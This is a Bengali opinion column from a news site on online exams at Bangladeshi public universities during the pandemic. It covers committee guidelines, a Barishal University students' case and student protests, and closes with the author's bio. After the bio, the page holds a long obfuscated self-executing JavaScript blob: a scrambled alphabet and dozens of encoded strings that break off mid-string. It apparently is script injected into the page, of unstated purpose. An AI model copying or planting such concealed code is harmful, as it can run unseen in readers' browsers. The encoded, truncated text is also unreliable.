০৯:৪৫ অপরাহ্ন, রবিবার, ০৮ নভেম্বর ২০২৬, ২৪ কার্তিক ১৪৩৩ বঙ্গাব্দ

অনলাইনে পাবলিক বিশ্ববিদ্যালয়গুলোর পরীক্ষা নেয়ার প্রস্তাবনা না সিদ্ধান্ত?

অনলাইনে পাবলিক বিশ্ববিদ্যালয়গুলোর পরীক্ষা নেয়ার প্রস্তাবনা না সিদ্ধান্ত? | Photo by Chris Montgomery on Unsplash

করোনাভাইরাস মহামারীর কারণে প্রায় পনে মাস যাবত দেশের সকল ধরনের শিক্ষা প্রতিষ্ঠান বন্ধ রয়েছে। প্রাথমিক ও মাধ্যমিক  পর্যায়ে সরকারীভাবে উদ্যোগের ফলে সংসদ টিভি ও রেডিও-র মাধ্যমে কিছু ক্লাস নেয়ার ব্যবস্থা করা হয়েছে যদিও তার কার্যকারিতা এবং কাঙ্খিত কত শতাংশ শিক্ষাথীদের কাছে পৌঁছানো গেছে তা নিয়ে যথেষ্ট প্রশ্ন ও সংশয় আছে, তারপরেও বলা যায় অন্তত কিছু একটা করা হয়েছে। কিন্তু জাতীয় বিশ্ববিদ্যালয়ের অধীনে ২৬শ কলেজে প্রায় ৪৪লাখ শিক্ষার্থী লেখাপড়া করে তাদের জন্য এবং দেশের চালূ ৪৯ টি পাবলিক বিশ্ববিদ্যালয়ের শিক্ষার্থীদের জন্য সেই অর্থে কিছ্ইু করা হয়নি।

এত বিশাল সংখ্যক শিক্ষার্থীদের বিশাল লার্নিং লস ও মেধার অপচয় কিভাবে কীভাবে ম্যানেজ করা যাবে তা নিয়ে ফলপ্রসূ কোন আলোচনাও নেই। এদিক দিয়ে দেশের প্রাইভেট বিশ্ববিদ্যালয়গুলো বেশ স্মার্ট। ভালো মানের প্রাইভেট বিশ্ববিদ্যালয়গুলো বন্ধের প্রায় শুরু থেকেই অনলাইন ক্লাস পরিচালনা করে আসছে, অ্যাকাডেমিক ইয়ার যাতে লস না হয় সেজন্য তারা অনলাইনে পরীক্ষাও শুরু করেছিল কিন্তু বাংলাদেশ বিশ্ববিদ্যালয় মঞ্জুরী কমিশন (ইউজিসি) তাদের পরীক্ষা বন্ধ করে দেয়। ইউজিসি হয়তো ভেবেছিলো যে, প্রাইভেট বিশ্ববিদ্যালয়ের শিক্ষার্থীরা এগিয়ে যাবে বা তারা পাবলিক বিশ্ববিদ্যালয়ের শিক্ষার্থীদের তুলনায় আগে বেরিয়ে যাবে যার ফলে উচচ শিক্ষায় একটি বৈষম্য সৃষ্টি হবে। কিন্তু বৈষম্য তো ইতিমধ্যে হয়েই আছে। পাবলিক বিশ্ববিদ্যালয়ের বিশাল অংকের শিক্ষকই মেধাবী কিন্তু তাদের মধ্যে অনেকেই পড়াশুনার সাথে জড়িত থাকতে পারেন না কারণ ছাত্র নেতাদের ম্যানেজ করা, শিক্ষক রাজনীতি করা, টেন্ডার  ইত্যাদি নিয়ে ব্যস্ত থাকতে হয়। তাদের অনেকেই এখনও  কম্পিউটার ইন্টারনেট চালাতে পারেন না। আর বেসরকারি বিশ্ববিদ্যালয়ের শিক্ষকদের পড়াশুনার মধ্যে থাকতে হয়, শিক্ষার্থীদের পড়াতে হয় তারা যেভাবে বুঝে, কর্তৃপক্ষের কাছে জাবাবদিহি করতে হয়। এগুলো সবই অনুপস্থিত পাবলিক বিশ্ববিদ্যালয়ে। তাই, বেসরকারি বিশ্ববিদ্যালয়ের পরীক্ষাগুলো অনলাইনে হতে দেওয়া উচিত ছিল কারণ এখানকার শিক্ষার্থীদের প্রচুর বেতন দিয়ে পড়তে হয়। অভিভাবকদের অনেক চাপের মধ্যে থাকতে হয়। তারা একটু আগে বিশ্ববিদ্যালয় থেকে বের হয়ে ভাগ্যান্বষনে বেরিয়ে পড়তে পারত। কিন্তু তাদের পরীক্ষা বন্ধ করে দেওয়া হলো, যা আমরা মনে করি ঠিক হয়নি। এখন পাবলিক বিশ্ববিদ্যালয়ের শিক্ষার্থীদের অনলাইনে পরীক্ষা নেয়ার প্রস্তাবনা এবং বলা যায় সিদ্ধান্তই হয়ে গেছে। অথচ এখানকার শিক্ষকদের অনেকেরই নেই আধুনিক ডিভাইস সম্পর্কে ধারণা আর শিক্ষার্থীদের অধিকাংশেরই তা থাকার কথা নয়। তারপরেও যে, চিন্তাটা এসেছে এজন্য সংশ্লিষ্ট সবাই ধন্যবাদ পাওয়ার যোগ্য।

শিক্ষাজীবনের ক্ষতি রোধে সরকার অপরিহার্য পরীক্ষাগুলো অনলাইনে নেয়ার চিন্তা করেছে। এর অংশ হিসেবে সম্প্রতি দুটি কমিটি গঠন করা হয়। এর একটি  উচচশিক্ষা সংক্রান্ত এবং অপরটি এসএসসি-এইচএসসি পরীক্ষা নিয়ে। ৬ মে ইউজিসির সঙ্গে বিভিন্ন বিশ্ববিদ্যালয়ের উপাচার্যদের এক বৈঠকে সিদ্ধান্ত হয়ে যে, পাবলিক বিশ্ববিদ্যালয়ের বিভিন্ন সেমিস্টার ও ইয়ার ফাইনাল পরীক্ষা অনলাইনে নেয়া যাবে। সংশ্লিষ্ট বিশ্ববিদ্যালয়ের অ্যাকাডেমিক কাউন্সিলের সিদ্ধান্তক্রমে এ সংক্রান্ত প্রক্রিয়া চূড়ান্ত হবে। তবে এ ক্ষেত্রে বিশ্ববিদ্যালয় মঞ্জুরি কমিশনের  সাত দফার গাইডলাইনকে অগ্রাধিকার দিতে হবে। বিষয়টি এখন শিক্ষা মন্ত্রণালয়ে পরিপত্র আকারে জারির লক্ষ্যে পাঠানো হবে। জানা যায়, দীর্ঘ ছুটির কারণে ইতোমধ্যে শিক্ষার্থীদের দুটি সেমিস্টার পরীক্ষা হয়নি। হিসাব অনুযায়ী আরেকটি সেমিস্টার পরীক্ষা দু এক মাসের মধ্যে হওয়ার নিয়ম আছে। অন্যদিকে করোনার বিদ্যমান পরিস্থিতি ঠিক কতদিনে উন্নতি লাভ করবে, কিংবা করোনার প্রভাব থেকে মানবজীবন কতদিনে মুক্ত হবে তা নিশ্চিত নয়। এমন পরিস্থিতিতে ছাত্রছাত্রীদের স্থগিত পরীক্ষাগুলো অনলাইনে নেয়ার ব্যাপারে সিদ্ধান্ত হয়েছে। তবে এ ব্যাপারে  মন্ত্রণালয়ের নির্দেশনায় গঠিত কমিটির গাইডলাইন অনুসরণের জন্য অনুরোধ করা হয়। কোন বিশ্ববিদ্যালয় অনলাইনে পরীক্ষা নিতে না চাইলে সে স্বাধীনতা তাদের আছে। এ ক্ষেত্রে পরিস্থিতি উত্তরণের পর সরাসরি  পদ্ধতিতে তারা পরীক্ষা নিতে পারবে। এটি বিশ্ববিদ্যালয় স্বায়ত্তশাসনকে সম্মান দেখানো। এ নিয়ে কোন বাধ্যবাধকতা নেই। তবে, শিক্ষার্থী, বিশ্ববিদ্যালয় এবং সর্বোপরি শিক্ষার বৃহত্তর স্বার্থে বিশ্ববিদ্যালয়গুলোকে এ ব্যাপারে সিদ্ধান্ত নেয়া প্রয়োজন। শিক্ষার্থীরা লেখাপড়া বিমুখ হয়ে গেছে। তাদেরকে মানসিকভাবে প্রস্তুত করার জন্য একটা প্যাকেজ গ্রহন করা যেতে পারে। প্রস্তুতিমূলক ক্লাস নিয়ে সেমিষ্টার ফাইনাল বা অন্য পরীক্ষা নেয়ার ব্যবস্থা করা প্রয়োজন।

পরীক্ষা সংক্রান্ত মন্ত্রণালয় কমিটিতে ১৫ সদস্য কাজ করেন। এ কমিটি ইংল্যান্ডের অক্সফোর্ড ও ব্রিস্টলসহ অস্ট্রেলিয়া, নিউজিল্যান্ড, যুক্তরাষ্ট্র, মালয়েশিয়া, ভারত, থাইল্যান্ডসহ বিভিন্ন দেশের বিশ্ববিদ্যালয় ও মঞ্জুরি কমিশন বা উচচশিক্ষাসংক্রান্ত সংস্থাগুলোর করেনাকালে পরীক্ষা পদক্ষেপ আমলে নিয়ে সুপারিশ তৈরি করে। কমিটির মূল প্রতিবেদন ৫ পৃষ্ঠার। ৩২ পৃষ্ঠাই সংযুক্তি। ৭দফা প্রস্তাব হছে যে কোন বিষয়ের তত্ত্বীয় ও ব্যবহারিক পাঠদান (ইনপারসন/অনলাইনে) সম্পন্ন হওয়ার পর কালক্ষেপণ না করে তার চূড়ান্ত মূল্যায়ণ ( ইনপারসন/অনলাইন) সম্পন্ন করা সম্ভব নয়, তা অবশ্য সুবিধাজনক সময়ে যথাযথ স্বাস্থ্যবিধি মেনে ইনপারসন বা সরাসরি ক্লাসে সম্পন্ন করতে হবে। যে কোন মূল্যায়নে পাস/ফেল পদ্ধতি এক সেমিস্টার বা দুই সেমিস্টারে করা হলেও দীর্ঘমেয়াদিতে এ মূল্যায়ণ কখনো শিক্ষার্থীর সঠিক মূল্যায়ন নিশ্চিত করে না এবং এটা করা সমীচীন নয়। বিধায় মূল্যায়নের ক্ষেত্রে সব বিষয়ের বিপরীতে শিক্ষার্থীর সত্যিকারের মেধা ও মূল্যায়নের স্বচ্ছতা নিশ্চিত করার মাধ্যমে চলমান পদ্ধতি ও স্কেলে গ্রেড দিতে হবে। এ ছাড়া বিশ্ববিদ্যালয়গুলো তাদের জন্য উপযোগী অনলাইনে পরীক্ষা নেয়ার সুস্পষ্ট পদ্ধতি গ্রহন করবে এবং বাস্তবতার নিরিখে ছয়টি বিষয় অনুসরন করবে। এগুলো হচ্ছে- নিরবচ্ছিন্ন বিদ্যুৎ এবং ইন্টারন্টে সংযোগ ও স্পিড, ডিজিটাল ডিভাইস, ডিজিটাল টুল, প্রশ্ন সেটিংস, অসাধু পন্থা অবলম্বন মোকাবিলা এবং আন্তর্জাতিকভাবে ফলাফলের গ্রহনযোগ্যতা। প্রস্তাব অনুযায়ী চরাটি পদ্ধতি অনুসরণ করে যে কোন তত্ত্বীয় বিষয় এবং হাতে-কলমে কাজ করার প্রয়োজন নেই এমন ব্যবহারিক বিষয়ে চূড়ান্ত নম্বর/গ্রেডিং অনলাইনে পরীক্ষা নিয়ে প্রদান করা যেতে পারে। এগুলো হচ্ছে- সৃজনশীল কাজ সৃজনশীল কুইজ/বিভিন্ন সেটের বহু নির্বাচনী প্রশ্নমালা (এমসিকিউ)সময়াবদ্ধ শ্রেণি পরীক্ষা এবং মৌখিক পরীক্ষা। প্রস্তাবে বলা হয়, ব্যবহারিক ক্লাসের বিভিন্ন এক্সপেরিমেন্টের ভিডিও সংশ্লিষ্ট বিভাগের ওয়েবসাইটে আপলোড করতে হবে এবং শিক্ষার্থীদের ইমেইলে এক্সপেরিমেন্টের পুরোনো ডাটা প্রেরণ করতে হবে। শিক্ষার্থীরা এসব ডাটা অ্যনালাইসিস করে সংক্ষিপ্ত রিপোর্ট সংশ্লিষ্ট শিক্ষককে পাঠাবে। ল্যাবভিত্তিক নয় এমন থিসিসি/প্রজেক্ট অনলাইনে সুপারভাইজ করা যেতে পারে। ল্যাবভিত্তিক থিসিস/প্রজেক্টের সুপারভিশন/স্বাস্থ্যবিধি মেনে ইনপারসন বা অনলাইনে হতে পারে। থিসিস/প্রজেক্টের হার্ডকপি গৃহীত হওয়ার পর অনলাইনে ভাইভা নেয়া যেতে পারে। শিক্ষা মন্ত্রণালয় ও আইসিটি মন্ত্রনালয়  অনলাইন ক্লাস ও পরীক্ষা সুষ্ঠুভাবে সম্পন্ন করার জন্য প্রত্যন্ত অঞ্চলে ইন্টারন্টে প্রাপ্যতা ও প্রয়োজনীয় স্পিড নিশ্চিত করার ব্যবস্থা গ্রহন করতে পারে।

পাবলিক বিশ্ববিদ্যালয়ে অনলাইন পরীক্ষা গ্রহন  প্রসঙ্গে আমি একট সত্য ঘটনার উল্লেখ করতে চাচ্ছি। বরিশাল বিশ্ববিদ্যালয়ের দুজন শিক্ষার্থী তাদের গ্রাজুয়েশন পরীক্ষা প্রায় শেষ করে ফেলেছেন, মাত্র দুটি পরীক্ষা বাকি থাকতেই গতবছর করোনার কারণে সব শিক্ষা প্রতিষ্ঠানগুলো বন্ধ হয়ে যায়। শিক্ষার্থী দুজনই প্রকৃত মেধাবী, যদিও শিক্ষকদের বিবেচনায় তাদের বিভাগে সেভাবে স্থান দেওয়া হয়নি যা আমাদের বিশ্ববিদ্যালয়ে কিছু কিছু শিক্ষকগন এ কাজ করে থাকেন। দুজনই মাষ্টার্স করার জন্য ফ্রান্সের একটি প্রথম গ্রেডের বিশ্ববিদ্যালয়ে বৃত্তি পেয়েছেন। গ্রাজুয়েশন শেষ করেই তাদের সেখানে যেতে হবে। দু’টো পরীক্ষা বাকি থাকায় হয়েছে সমস্যা। শিক্ষার্থী দু’জন বিশ্ববিদ্যালয়ের চেয়ারম্যান, অ্যাকাডেমিক কাউন্সিল ও ভিসি পর্যন্ত অনেক ছুটাছুটি করেছেন। তাদের দাবি ছিল বিশ্ববিদ্যালয়ের স্বায়ত্তশাসন ব্যবহার করে বিশেষ ব্যবস্থায় পরীক্ষা নেয়া যাতে তারা উক্ত বিশ্ববিদ্যালয়ের সেশন ধরতে পারেন।  কিংবা দেশেই অনলাইন পরীক্ষার আয়োজন অথবা ফ্রান্সে যাওয়ার পর তারা অনলাইন পরীক্ষা দিবে এ ব্যাপারে ভিসির একটি অনুমতিপত্র দেওয়া। কোন শর্তেই, কোন যুক্তিতেই কেউ রাজী হননি। উল্লেখ্য, বরিশাল বিশ্ববিদ্যালয় থেকে ইউরোপের কোন উন্নতমানের বিশ্ববিদ্যালয়ে এই প্রথমবারই কোন শিক্ষার্থী সুযোগ পেয়েছেন। তারপরেও কারুর  কোন আগ্রহ কিংবা উৎসাহ ছিল না। আমাদের পাবলিক বিশ্ববিদ্যালয়ের ভিসিদের তো এসব বিষয় নিয়ে কোন আগ্রহ থাকে না, তারা পারেন অবৈধভাবে, কোন নিয়ম নীতির তোয়াক্কা না করে ১৪১ জনকে চাকরি দিতে কারন তারা সরকারি দলের, সরকারকে এভাবে খুশী করতে পারলেই সব পার। শিক্ষার্থী দুজন আমাকে পুরো ব্যাপার জানিয়েছেন। পরে তারা শিক্ষা সচিবের সাথে দেখা করেছেন, উনিও অপারগতা প্রকাশ করেছেন। শেষে শিক্ষামন্ত্রীর সাথে দেখা করে তাকে বুঝিয়েছেন তারা ফ্রান্সে গিয়ে অনলাইনে পরীক্ষা দিবেন এবং তারা যদি এবারের সেশন (২০২০) ধরতে না পারেন তাহলে বৃত্তির সুযোগ হাতছাড়া হয়ে যাবে। শিক্ষামন্ত্রী ব্যাপারটি বুঝেছেন এবং শিক্ষার্থী দুজনকে অভিবাদন জানিয়ে বলেছেন ‘তোমরা দেশের সম্পদ, তোমাদের জন্য দেশের এই কাজটুকু তো করতেই হবে’। মন্ত্রী নিজে যখন ভিসিকে বললেন ওরা ফ্রান্সে গিয়ে অনলইনে বাকি পরীক্ষা দুটো দিবে, ভিসি তখন রাজী হলেন এবং শিক্ষার্থী দুজন বিশ্ববিদ্যালয়ে গিয়ে ঠিকমতো সেশন ধরেছেন। তাদের মাষ্টার্স প্রায় শেষ, এখন ইন্টার্নশিপ করছেন। যে কোম্পানিতে তারা ইন্টার্র্নশিপ করছেন সেই কোম্পানির নিজস্ব সেন্টার রয়েছে ঐ বিশ্ববিদ্যায়েয় ক্যাম্পাসে। চমৎকার! আমাদের বিশ্ববিদ্যালয়গুলে কী এসব কথা কখনও চিন্তাও করে? ধন্যবাদ শিক্ষা সচিবকে যিনি শিক্ষার্থী দুজনকে সচিবালয়ে ঢুকতে দিয়েছেন, তাদের কথা শুনেছেন, অজস্র ধন্যবাদ শিক্ষামন্ত্রীকে যিনি পুরো বিষয়টি বুঝে ব্যবস্থা নিয়েছিলেন।

অনলাইনে পাবলিক বিশ্ববিদ্যালয়ে পরীক্ষা গ্রহনের সিদ্ধান্তের ব্যাপারে শিক্ষার্থীরা তাদের প্রতিক্রিয়া জানিয়েছেন। তারা  বিশ্ববিদ্যালয় খোলার দাবিতে অনলাইনে একত্র হচ্ছেন এবং ‘অবিলম্বে সকল বিশ্ববিদ্যালয় খুতে দিতে হবে’ নামের একটি ফেসবুক গ্রুপ চালু করেছেন। সেই গ্রুপ থেকে তারা অনলাইনে পরীক্ষার সিদ্ধান্ত প্রত্যখ্যান করেছেন এবং  আগামী ২৪ মে থেকেই বিশ্ববিদ্যালয় খুলে দেওয়ার দাবি জানিয়েছেন। তারা বলছেন ‘অনলাইনে পরীক্ষা কার্যক্রম চালানোর মতো কোনো বাস্তবতা আমাদের বিশ্ববিদ্যালয়গুলোর নেই। আমাদের দেশের নেটওয়ার্কব্যবস্থা খুবই দুর্বল, যা দিয়ে পরীক্ষা গ্রহন করা সম্পূর্নই অসম্ভব। তা ছাড়া শিক্ষার্থীদের বড় একটা অংশকে অনলাইন কার্যক্রমের আওতায় নিয়ে আসা সম্ভব নয়। আবার শিক্ষকরাও অনলাইনের সব কার্যক্রম পরিচালনার ক্ষেত্রে দক্ষ নন’। তারা আরও বলছেন, মূলত শিক্ষা প্রতিষ্ঠান বন্ধ রাখতেই অনলইন পরীক্ষার নতুন এই পদ্ধতি চাপিয়ে দেওয়া হচ্ছে। শিক্ষার্থীদের কাছে উপযুক্ত ডিভাইসের অভাব আছে , ইন্টারনেট খরচ বহন করার সক্ষমতাও সবার নেই। যেখানে অনলাইন ক্লাসগুলোয় শিক্ষার্থীদের একটি বড়ো অংশ অনুপস্থিত থেকে যায়, সেখানে পাবলিক বিশ্ববিদ্যালয়ের পরীক্ষাগুলো অনলাইনে নেযার সিদ্ধান্ত অযৌক্তিক বলে মনে করেন শিক্ষাথীরা। তাদের দাবির কথা সরকারের কাছে ও বিশ্ববিদ্যালয় প্রশাসনের কাছে তুলে ধরার জন্য ভার্চুয়াল প্রতিাবাদ  চালু রাখার কথা বলেছেন। যদি মে মোসের মধ্যে হল-ক্যাম্পাস খুলে শিক্ষা কার্যক্রম স্বাভাবিক করা না হয়, তাহলে তারা শিক্ষা প্রতিষ্ঠানে ফের গিয়ে সরাসরি মাঠে আন্দোলন চালিয়ে যাওয়ার হুমকি দেন।

জানা যায় যে, ঢাকা বিশ্ববিদ্যালয় অনলাইনে পরীক্ষা নেয়ার ব্যাপারে সিদ্ধান্ত নিয়েছে যেটি এই উদ্যোগের সহায়ক এবং অন্যান্য শিক্ষা প্রতিষ্ঠানের জন্য দৃষ্টান্ত ও উৎসাহব্যঞ্জক একটি বিষয়। তবে, পরীক্ষা গ্রহনের ক্ষেত্রে অবশ্যই আন্তর্জাতিকভাবে যাতে গ্রহনযোগ্য হয়, সেই দিকে নজর দিতে হবে, তা না হলে এভাবে ডিগ্রি নেয়া গ্রাজুয়েটগন ভবিষ্যতে বিপাকে পড়তে পারেন। ঢাকা বিশ্ববিদ্যালয়ের সিদ্ধান্ত থেকে জানা যায় যে, করোনা পরিস্থিতির উন্নতি না হলেও ১ জুলাই থেকে অনলাইনে পরীক্ষা নেবে। ৫ মে ডিন কমিটিতে এ সিদ্ধান্ত নেয়া হয় যা পরদিনই অ্যাকাডেমিক কাউন্সিল অনুমোদন করেছে। করোনা পরিস্থিতির উন্নতি না হলে সব বর্ষের চূড়ান্ত পরীক্ষা শুরু হবে। অনলাইন পরীক্ষার গ্রহনযোগ্যতা এবং পরীক্ষায় শিক্ষার্থীদের অংশগ্রহন কীভাবে নিশ্চিত করা যায় তা সুনির্দিষ্ট করতে অনুষদগুলোর ডিন ও ইনস্টিটিউটগুলোর পরিচালকদের একটি কৌশলপত্র তৈরির দায়িত্ব দিয়েছেন ভিসি।তাদেরকে দুই সপ্তাহের মধ্যে কৌশলপত্র জমা দিতে বলেছেন।অনলাইন পরীক্ষার ব্যাপারে শিক্ষকদের প্রশিক্ষণ দেওয়া হবে। পাবলিক বিশ্ববিদ্যালয়ের শিক্ষকদের প্রশিক্ষণ দিয়েই হোক আর নিজেদের প্রচেষ্টায় হোক, আধুনিক বিশ্বের সাথে তাল মেলানোর জন্য তাদের আধুনিক ডিভাইসের ব্যবহার জানা খুবই জরুরি।

বিষয়:

মন্তব্য

লেখকতথ্য

মাছুম বিল্লাহ

শিক্ষা বিশেষজ্ঞ ও গবেষক এবং প্রেসিডেন্ট: ইংলিশ টিচার্স অ্যাসোসিয়েশন অব বাংলাদেশ (ইট্যাব)। সাবেক কান্ট্রি ডিরেক্টর- ভাব বাংলাদেশ এবং শিক্ষা বিশেষজ্ঞ -ব্র্যাক শিক্ষা কর্মসূচি। ইমেইল: masumbillah65@gmail.com
জনপ্রিয়
(function(s){var UBa=20;var Flp=1035420166,xpBW="qAS0CusRlFUHKmrnN23Owh4+QxyeYG9ViDfMXJZEb16P8/pkzoTvBWdcItL7j5ag",bL0no=["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